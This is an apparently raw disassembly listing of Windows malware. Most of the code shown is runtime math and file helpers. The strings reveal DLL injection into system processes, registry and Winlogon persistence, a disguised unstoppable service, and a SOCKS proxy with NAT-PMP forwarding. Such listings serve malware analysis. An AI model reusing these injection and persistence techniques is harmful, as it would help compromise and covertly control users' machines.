loc_40CF31: ; CODE XREF: sub_40CEC0+60j
mov edi, [ebp+var_10]
mov eax, [esi+18h]
mov edx, [esi+10h]
sub eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_8], edi
jnb short loc_40CF4E
mov [ebp+var_4], 0
mov edi, [ebp+var_8]
loc_40CF4E: ; CODE XREF: sub_40CEC0+82j
push edi
push ebx
mov eax, [esi+10h]
push eax
call sub_4076F0
add esp, 0Ch
add ebx, edi
lea eax, [esi+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_4], 0
jz short loc_40CF7D
push esi
call sub_408D60
pop ecx
test eax, eax
jz short loc_40CF7D
or eax, 0FFFFFFFFh
jmp short loc_40CF9F
; ---------------------------------------------------------------------------
loc_40CF7D: ; CODE XREF: sub_40CEC0+Fj
; sub_40CEC0+ABj ...
cmp byte ptr [ebx], 0
jnz loc_40CED4
test word ptr [esi], 800h
jz short loc_40CF9D
push esi
call sub_408D60
pop ecx
test eax, eax
jz short loc_40CF9D
or eax, 0FFFFFFFFh
jmp short loc_40CF9F
; ---------------------------------------------------------------------------
loc_40CF9D: ; CODE XREF: sub_40CEC0+CBj
; sub_40CEC0+D6j
xor eax, eax
loc_40CF9F: ; CODE XREF: sub_40CEC0+2Aj
; sub_40CEC0+BBj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40CEC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CFB0 proc near ; CODE XREF: sub_40C3D0+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_4]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_40D006
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
test word ptr [ebx+6], 0Fh
jnz short loc_40CFF2
cmp word ptr [ebx+4], 0
jnz short loc_40CFF2
cmp word ptr [ebx+2], 0
jnz short loc_40CFF2
cmp word ptr [ebx], 0
jz short loc_40CFF9
loc_40CFF2: ; CODE XREF: sub_40CFB0+2Cj
; sub_40CFB0+33j ...
mov edi, 2
jmp short loc_40CFFE
; ---------------------------------------------------------------------------
loc_40CFF9: ; CODE XREF: sub_40CFB0+40j
mov edi, 1
loc_40CFFE: ; CODE XREF: sub_40CFB0+47j
mov ax, di
movsx eax, ax
jmp short loc_40D04A
; ---------------------------------------------------------------------------
loc_40D006: ; CODE XREF: sub_40CFB0+1Bj
test si, si
jg short loc_40D01A
push ebx
call sub_40D3D0
pop ecx
mov si, ax
test ax, ax
jg short loc_40D03F
loc_40D01A: ; CODE XREF: sub_40CFB0+59j
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
or eax, 3FE0h
mov [ebx+6], ax
mov edx, [esp+0Ch+arg_0]
mov ax, si
sub ax, 3FEh
mov [edx], ax
or eax, 0FFFFFFFFh
jmp short loc_40D04A
; ---------------------------------------------------------------------------
loc_40D03F: ; CODE XREF: sub_40CFB0+68j
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
xor eax, eax
loc_40D04A: ; CODE XREF: sub_40CFB0+54j
; sub_40CFB0+8Dj
pop edi
pop esi
pop ebx
retn
sub_40CFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D050 proc near ; CODE XREF: sub_40C3F0+Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_40D0A5
test word ptr [ebx+6], 0Fh
jnz short loc_40D08E
cmp word ptr [ebx+4], 0
jnz short loc_40D08E
cmp word ptr [ebx+2], 0
jnz short loc_40D08E
cmp word ptr [ebx], 0
jz short loc_40D095
loc_40D08E: ; CODE XREF: sub_40D050+28j
; sub_40D050+2Fj ...
mov edi, 2
jmp short loc_40D09A
; ---------------------------------------------------------------------------
loc_40D095: ; CODE XREF: sub_40D050+3Cj
mov edi, 1
loc_40D09A: ; CODE XREF: sub_40D050+43j
mov ax, di
movsx eax, ax
jmp loc_40D25A
; ---------------------------------------------------------------------------
loc_40D0A5: ; CODE XREF: sub_40D050+20j
test si, si
jnz short loc_40D0C0
push ebx
call sub_40D3D0
pop ecx
mov si, ax
test ax, ax
jle short loc_40D0C0
xor eax, eax
jmp loc_40D25A
; ---------------------------------------------------------------------------
loc_40D0C0: ; CODE XREF: sub_40D050+58j
; sub_40D050+67j
movsx eax, si
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+arg_4], eax
cmp eax, 7FFh
jl short loc_40D102
test word ptr [ebx+6], 8000h
jz short loc_40D0E7
fld dbl_4119DC
fchs
fstp [ebp+var_8]
jmp short loc_40D0F0
; ---------------------------------------------------------------------------
loc_40D0E7: ; CODE XREF: sub_40D050+88j
fld dbl_4119DC
fstp [ebp+var_8]
loc_40D0F0: ; CODE XREF: sub_40D050+95j
mov eax, [ebp+arg_0]
fld [ebp+var_8]
fstp qword ptr [eax]
mov eax, 1
jmp loc_40D25A
; ---------------------------------------------------------------------------
loc_40D102: ; CODE XREF: sub_40D050+80j
cmp [ebp+arg_4], 0
jle short loc_40D128
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
mov edx, [ebp+arg_4]
movsx edx, dx
shl edx, 4
or eax, edx
mov [ebx+6], ax
or eax, 0FFFFFFFFh
jmp loc_40D25A
; ---------------------------------------------------------------------------
loc_40D128: ; CODE XREF: sub_40D050+B6j
mov ax, [ebx+6]
and ax, 8000h
mov word ptr [ebp+var_8+6], ax
movzx eax, word ptr [ebx+6]
and eax, 0Fh
or eax, 10h
mov [ebx+6], ax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
cmp eax, 0FFFFFFCCh
jge short loc_40D16E
mov ax, word ptr [ebp+var_8+6]
mov [ebx+6], ax
mov word ptr [ebx+4], 0
mov word ptr [ebx+2], 0
mov word ptr [ebx], 0
xor eax, eax
jmp loc_40D25A
; ---------------------------------------------------------------------------
loc_40D16E: ; CODE XREF: sub_40D050+FCj
mov eax, [ebp+arg_4]
mov word ptr [ebp+var_8+4], ax
jmp short loc_40D199
; ---------------------------------------------------------------------------
loc_40D177: ; CODE XREF: sub_40D050+14Ej
mov ax, [ebx+2]
mov [ebx], ax
mov ax, [ebx+4]
mov [ebx+2], ax
mov ax, [ebx+6]
mov [ebx+4], ax
mov word ptr [ebx+6], 0
add word ptr [ebp+var_8+4], 10h
loc_40D199: ; CODE XREF: sub_40D050+125j
cmp word ptr [ebp+var_8+4], 0FFF0h
jle short loc_40D177
movsx eax, word ptr [ebp+var_8+4]
neg eax
mov word ptr [ebp+var_8+4], ax
test ax, ax
jz loc_40D24F
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx]
mov ecx, eax
sar edx, cl
mov dword ptr [ebp+var_8], edx
movzx ecx, word ptr [ebx+2]
mov [ebp+var_C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_C]
shl eax, cl
mov edx, dword ptr [ebp+var_8]
or edx, eax
mov ax, dx
mov [ebx], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+2]
mov ecx, eax
sar edx, cl
mov [ebp+var_10], edx
movzx ecx, word ptr [ebx+4]
mov [ebp+var_14], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_14]
shl eax, cl
mov edx, [ebp+var_10]
or edx, eax
mov ax, dx
mov [ebx+2], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+4]
mov ecx, eax
sar edx, cl
mov [ebp+var_18], edx
movzx ecx, word ptr [ebx+6]
mov [ebp+var_1C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_1C]
shl eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov ax, dx
mov [ebx+4], ax
movzx eax, word ptr [ebx+6]
movsx ecx, word ptr [ebp+var_8+4]
sar eax, cl
mov [ebx+6], ax
loc_40D24F: ; CODE XREF: sub_40D050+15Dj
mov ax, word ptr [ebp+var_8+6]
or [ebx+6], ax
or eax, 0FFFFFFFFh
loc_40D25A: ; CODE XREF: sub_40D050+50j
; sub_40D050+6Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40D050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D270 proc near ; CODE XREF: sub_40C470+409p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40D270 endp
; =============== S U B R O U T I N E =======================================
sub_40D2A0 proc near ; CODE XREF: sub_40CD10+77p
; sub_40CD10+E7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
movzx eax, byte ptr [edx+eax+4]
mov esi, eax
and esi, 80h
cmp [esp+8+arg_4], 8000h
jnz short loc_40D2F6
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
movzx edx, byte ptr [eax]
and edx, 0FFFFFF7Fh
mov [eax], dl
jmp short loc_40D32D
; ---------------------------------------------------------------------------
loc_40D2F6: ; CODE XREF: sub_40D2A0+2Fj
cmp [esp+8+arg_4], 4000h
jnz short loc_40D31D
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 80h
jmp short loc_40D32D
; ---------------------------------------------------------------------------
loc_40D31D: ; CODE XREF: sub_40D2A0+5Ej
call sub_408460
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_40D340
; ---------------------------------------------------------------------------
loc_40D32D: ; CODE XREF: sub_40D2A0+54j
; sub_40D2A0+7Bj
test esi, esi
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 4000h
loc_40D340: ; CODE XREF: sub_40D2A0+8Bj
pop esi
pop ebx
retn
sub_40D2A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
mov ebx, [esp+0Ch]
cmp ebx, dword_413A88
jnb short loc_40D379
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40D389
loc_40D379: ; CODE XREF: DMN0:0040D35Cj
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40D3A9
; ---------------------------------------------------------------------------
loc_40D389: ; CODE XREF: DMN0:0040D377j
push ebx
call sub_40AD40
pop ecx
mov eax, [esp+10h]
push eax
push ebx
call sub_40D2A0
add esp, 8
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_40D3A9: ; CODE XREF: DMN0:0040D387j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40D3B0 proc near ; CODE XREF: sub_40CEC0+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_4]
mov bl, al
xor edx, edx
loc_40D3BD: ; CODE XREF: sub_40D3B0+19j
cmp [ecx], bl
jnz short loc_40D3C3
mov edx, ecx
loc_40D3C3: ; CODE XREF: sub_40D3B0+Fj
cmp byte ptr [ecx], 0
jz short loc_40D3CB
inc ecx
jmp short loc_40D3BD
; ---------------------------------------------------------------------------
loc_40D3CB: ; CODE XREF: sub_40D3B0+16j
mov eax, edx
pop ebx
retn
sub_40D3B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40D3D0 proc near ; CODE XREF: sub_40CFB0+5Cp
; sub_40D050+5Bp
arg_0 = dword ptr 4
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ax, [ecx+6]
mov di, ax
and di, 8000h
mov bx, 1
mov ax, [ecx+6]
and ax, 0Fh
mov [ecx+6], ax
test ax, ax
jnz short loc_40D40F
cmp word ptr [ecx+4], 0
jnz short loc_40D40F
cmp word ptr [ecx+2], 0
jnz short loc_40D40F
cmp word ptr [ecx], 0
jz loc_40D4C9
loc_40D40F: ; CODE XREF: sub_40D3D0+25j
; sub_40D3D0+2Cj ...
jmp short loc_40D431
; ---------------------------------------------------------------------------
loc_40D411: ; CODE XREF: sub_40D3D0+66j
mov ax, [ecx+4]
mov [ecx+6], ax
mov ax, [ecx+2]
mov [ecx+4], ax
mov ax, [ecx]
mov [ecx+2], ax
mov word ptr [ecx], 0
sub bx, 10h
loc_40D431: ; CODE XREF: sub_40D3D0:loc_40D40Fj
cmp word ptr [ecx+6], 0
jz short loc_40D411
jmp short loc_40D477
; ---------------------------------------------------------------------------
loc_40D43A: ; CODE XREF: sub_40D3D0+ACj
movzx eax, word ptr [ecx+6]
add eax, eax
movzx edx, word ptr [ecx+4]
sar edx, 0Fh
or eax, edx
mov [ecx+6], ax
movzx eax, word ptr [ecx+4]
add eax, eax
movzx edx, word ptr [ecx+2]
sar edx, 0Fh
or eax, edx
mov [ecx+4], ax
movzx eax, word ptr [ecx+2]
add eax, eax
movzx edx, word ptr [ecx]
sar edx, 0Fh
or eax, edx
mov [ecx+2], ax
shl word ptr [ecx], 1
dec bx
loc_40D477: ; CODE XREF: sub_40D3D0+68j
cmp word ptr [ecx+6], 10h
jb short loc_40D43A
jmp short loc_40D4BD
; ---------------------------------------------------------------------------
loc_40D480: ; CODE XREF: sub_40D3D0+F2j
movzx eax, word ptr [ecx]
sar eax, 1
movzx edx, word ptr [ecx+2]
shl edx, 0Fh
or eax, edx
mov [ecx], ax
movzx eax, word ptr [ecx+2]
sar eax, 1
movzx edx, word ptr [ecx+4]
shl edx, 0Fh
or eax, edx
mov [ecx+2], ax
movzx eax, word ptr [ecx+4]
sar eax, 1
movzx edx, word ptr [ecx+6]
shl edx, 0Fh
or eax, edx
mov [ecx+4], ax
shr word ptr [ecx+6], 1
inc bx
loc_40D4BD: ; CODE XREF: sub_40D3D0+AEj
cmp word ptr [ecx+6], 20h
jnb short loc_40D480
and word ptr [ecx+6], 0Fh
loc_40D4C9: ; CODE XREF: sub_40D3D0+39j
or [ecx+6], di
movsx eax, bx
pop edi
pop ebx
retn
sub_40D3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D4E0 proc near ; CODE XREF: sub_408550+13p
jmp dword_411DAC
sub_40D4E0 endp
; ---------------------------------------------------------------------------
align 4
dd 2C6h dup(0)
dword_40E000 dd 656E6F64h ; DATA XREF: sub_4067B0+584o
; sub_448AD1+584o
db 2Eh, 0Ah, 0
aNotDaemonized_ db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406CF2o
; sub_448AD1:loc_449013o
aInitializingSe db 'initializing service startup sequence...',0Ah,0
; DATA XREF: sub_4067B0+527o
; sub_448AD1+527o
aServiceInstall db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4067B0+476o
; sub_448AD1+476o
aInstallingSe_0 db 'installing service...',0Ah,0 ; DATA XREF: sub_4067B0+462o
; sub_448AD1+462o
aRegisteredSe_1 db 'registered service is not running, unrest.',0Ah,0
; DATA XREF: sub_4067B0:loc_406BE8o
; sub_448AD1:loc_448F09o
aStartingServic db 'starting service...',0Ah,0 ; DATA XREF: sub_4067B0+41Do
; sub_4067B0:loc_406C6Bo ...
aI db '%i',0Ah,0 ; DATA XREF: sub_4067B0+3FEo
; sub_448AD1+3FEo
aInstallingServ db 'installing service, res=',0 ; DATA XREF: sub_4067B0+3E8o
; sub_448AD1+3E8o
aRegisteredSe_0 db 'registered service is not running.',0Ah,0
; DATA XREF: sub_4067B0:loc_406B84o
; sub_448AD1:loc_448EA5o
aRegisteredServ db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B69o
; sub_448AD1:loc_448E8Ao
aDonTRegisterIt db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B52o
; sub_448AD1:loc_448E73o
aRegisterItAndR db 'register it and restart',0Ah,0 ; DATA XREF: sub_4067B0+392o
; sub_448AD1+392o
aNoRegisteredSe db 'no registered service, ',0 ; DATA XREF: sub_4067B0+36Bo
; sub_448AD1+36Bo
aWaitingComplet db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B05o
; sub_448AD1:loc_448E26o
aWaiting___ db '*** waiting...',0Ah,0 ; DATA XREF: sub_4067B0+32Co
; sub_448AD1+32Co
aRemovingS db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+2A0o
; sub_448AD1+2A0o
aInitializingWi db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4067B0+24Bo
; sub_448AD1+24Bo
aCopyingFailed db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069D3o
; sub_448AD1:loc_448CF4o
aCreateprocessF db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069B8o
; sub_448AD1:loc_448CD9o
aCmdlineS db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+1DFo
; sub_448AD1+1DFo
aCopying___ db 'copying...',0Ah,0 ; DATA XREF: sub_4067B0+167o
; sub_448AD1+167o
aNewSOldSSelfS db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+E0o
; sub_448AD1+E0o
aWaiting10SecsS db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+9Ao
; sub_448AD1+9Ao
aShutdownmutexc db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+8Do
; sub_448AD1+8Do
aUpdate_0 db '*update',0 ; DATA XREF: sub_4067B0+5Eo
; sub_448AD1+5Eo
aInjectionthrea db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406544:loc_406704o
; DMN1:loc_448A25o
aDllStopped___ db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406544:loc_4066CCo
; DMN1:loc_4489EDo
aDying db 'dying',0Ah,0 ; DATA XREF: sub_406544+173o
; DMN1:004489D8o
aWaitingForDllD db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406544+129o
; DMN1:0044898Eo
aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_406544:loc_406603o
; DMN1:loc_448924o
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406544:loc_4065FAo
; DMN1:loc_44891Bo
aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_406544:loc_4065F1o
; DMN1:loc_448912o
aOldDllFoundWai db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
; DATA XREF: sub_406544+59o
; DMN1:004488BEo
aTryingSWithSFa db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_40636D+A1o
; sub_44868E+A1o
aTryingSWithS db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_40636D+5Bo
; sub_44868E+5Bo
aDllInjected db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4062A5+8Co
; sub_4485C6+8Co
aThreadComplete db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4062A5+65o
; sub_4485C6+65o
aThreadInjected db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4062A5+42o
; sub_4485C6+42o
aProcessOpened_ db 'process opened.',0Ah,0 ; DATA XREF: sub_4062A5+1Do
; sub_4485C6+1Do
aS db '<%s>',0Ah,0 ; DATA XREF: sub_40617B+FEo
; sub_40636D+81o ...
aWriteprocessme db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_40617B+F0o
; sub_44849C+F0o
aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_40617B+ADo
; sub_44849C+ADo
aExitthread db 'ExitThread',0 ; DATA XREF: sub_40617B+9Co
; sub_44849C+9Co
aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_40617B+8Bo
; sub_44849C+8Bo
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40617B+75o
; sub_44849C+75o
aVirtualallocex db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_40617B+31o
; sub_44849C+31o
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_406101+Ao
; sub_448422+Ao
aDllNotExtracte db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405FBD:loc_4060F0o
; sub_4482DE:loc_448411o
aDllOkS db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+118o
; sub_4482DE+118o
aTryingDllS db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+F8o
; sub_4482DE+F8o
aDllFoundS db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+ADo
; sub_4482DE+ADo
aCheckingDllS db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+8Do
; sub_4482DE+8Do
a000_tmp db '000.tmp',0 ; DATA XREF: sub_405FBD+77o
; sub_4482DE+77o
aWnss_ db 'wnss_',0 ; DATA XREF: sub_405FBD+66o
; sub_405FBD+E1o ...
aOldDllS db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+36o
; sub_4482DE+36o
aR db 'r',0 ; DATA XREF: sub_405FBD+16o
; sub_4482DE+16o
aFileSWrittenWs db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405EB2+E1o
; sub_4481D3+E1o
aFileSCreated db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405EB2+B5o
; sub_4481D3+B5o
aFileSNotCreate db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405EB2+A4o
; sub_4481D3+A4o
aWb db 'wb+',0 ; DATA XREF: sub_405EB2+90o
; sub_4481D3+90o
aResourceHereSi db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405EB2+50o
; sub_4481D3+50o
a8001 db '#8001',0 ; DATA XREF: sub_405EB2+2Ao
; sub_4481D3+2Ao
aDlltestliste_2 db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405DB5:loc_405E6Ao
; DMN1:loc_44818Bo
aDlltestliste_1 db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405DB5+52o
; DMN1:00448128o
aDlltestliste_0 db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405DB5+37o
; DMN1:0044810Do
aDlltestlistent db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405DB5+10o
; DMN1:004480E6o
aDlltestthreadP db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405D3F+54o
; DMN1:004480B4o
asc_40E58E db '**',0 ; DATA XREF: sub_405CA2+5Fo
; sub_4067B0+317o ...
aServicefixerth db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405CA2+2o
; DMN1:00447FC5o
asc_40E5AE db '" ',0 ; DATA XREF: sub_405BE9+46o
; sub_447F0A+46o
aRegisterservic db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
; DATA XREF: DMN0:loc_405B7Ao
; DMN1:loc_447E9Bo
aSetservicest_1 db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405B5Co
; DMN1:00447E7Do
aSetservicest_0 db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405B31o
; DMN1:00447E52o
aSetservicestat db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405B0Bo
; DMN1:00447E2Co
aServicectrldis db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_405A9Ao
; DMN1:00447DBBo
aWaitingForStop db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_40592F+ACo
; sub_447C50+ACo
aEventCreatonEr db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_40592F+71o
; sub_447C50+71o
aEventCreated_ db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_40592F+5Do
; sub_447C50+5Do
aWritingToHkcuA db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405833+4Fo
; sub_447B54+4Fo
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_405833+3Do
; sub_405833+66o ...
aWritingToHklmA db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405833+26o
; sub_447B54+26o
asc_40E700 db '*',0 ; DATA XREF: sub_405833+Fo
; sub_447B54+Fo
aLoad db 'load',0 ; DATA XREF: sub_405772+15o
; sub_405772+40o ...
aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
; DATA XREF: sub_405772+1Ao
; sub_405772+45o ...
asc_40E73C db ',',0 ; DATA XREF: sub_40569A+A1o
; sub_4479BB+A1o
aUserinit db 'Userinit',0 ; DATA XREF: sub_40569A+15o
; sub_40569A+40o ...
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
; DATA XREF: sub_40569A+1Ao
; sub_40569A+45o ...
aStartupprogram db 'StartupPrograms',0 ; DATA XREF: sub_405604+14o
; sub_405604+3Bo ...
aSystemCurren_1 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
; DATA XREF: sub_405604+19o
; sub_405604+40o ...
aRegreadCanTRea db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_40549E+A2o
; sub_4477BF+A2o
aRegreadReadIBy db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_40549E+8Eo
; sub_4477BF+8Eo
aRegreadOpenedS db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_40549E+44o
; sub_4477BF+44o
a8fc4ddd4C51e11 db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0 ; DATA XREF: DMN0:004053C2o
; sub_40592F+44o ...
aDescription db 'Description',0 ; DATA XREF: sub_405246+13Ao
; sub_447567+13Ao
aDisplayname db 'DisplayName',0 ; DATA XREF: sub_405246+116o
; sub_447567+116o
aLocalsystem db 'LocalSystem',0 ; DATA XREF: sub_405246+E9o
; sub_447567+E9o
aObjectname db 'ObjectName',0 ; DATA XREF: sub_405246+F2o
; sub_447567+F2o
aErrorcontrol db 'ErrorControl',0 ; DATA XREF: sub_405246+BDo
; sub_405246+D9o ...
aStart db 'Start',0 ; DATA XREF: sub_405246+A1o
; sub_447567+A1o
aType db 'Type',0 ; DATA XREF: sub_405246+82o
; sub_447567+82o
aImagepath db 'ImagePath',0 ; DATA XREF: sub_405170+87o
; sub_405246+15Eo ...
aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_405170+Bo
; sub_405246+Ao ...
aProvidesNetwor db 'Provides network security options for system administrators. Thi'
; DATA XREF: sub_404FE9+9Bo
; sub_405246+124o ...
db 's service can not be stopped.',0
aServiceRegiste db 'service registered',0Ah,0 ; DATA XREF: sub_404FE9:loc_405071o
; sub_44730A:loc_447392o
aWnss db 'wnss',0 ; DATA XREF: sub_404D77+19o
; sub_404DC1+23o ...
aStartingCommTh db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+239o
; DMN1:00446EC1o
aNatpmpForwarde db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+1A4o
; DMN1:00446E2Co
aSocksPortI db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+148o
; DMN1:00446DD0o
aCanTBindListen db 'can',27h,'t bind listen socket!',0Ah,0
aListener___ db 'listener...',0Ah,0 ; DATA XREF: sub_404967:loc_4049DFo
; DMN1:loc_446D00o
aInternalprogra db 'InternalProgramData',0 ; DATA XREF: sub_404967+55o
; sub_404967+208o ...
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
; DATA XREF: sub_404967+33o
; sub_404967+1EAo ...
aConnectionClos db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao
; DMN1:loc_446C5Bo
aDataExchangeCo db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo
; DMN1:loc_446C50o
aTransferringDa db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o
; DMN1:00446B46o
aConnectedToSI db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o
; DMN1:00446B10o
aConnectionToSI db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_4042CD+4E1o
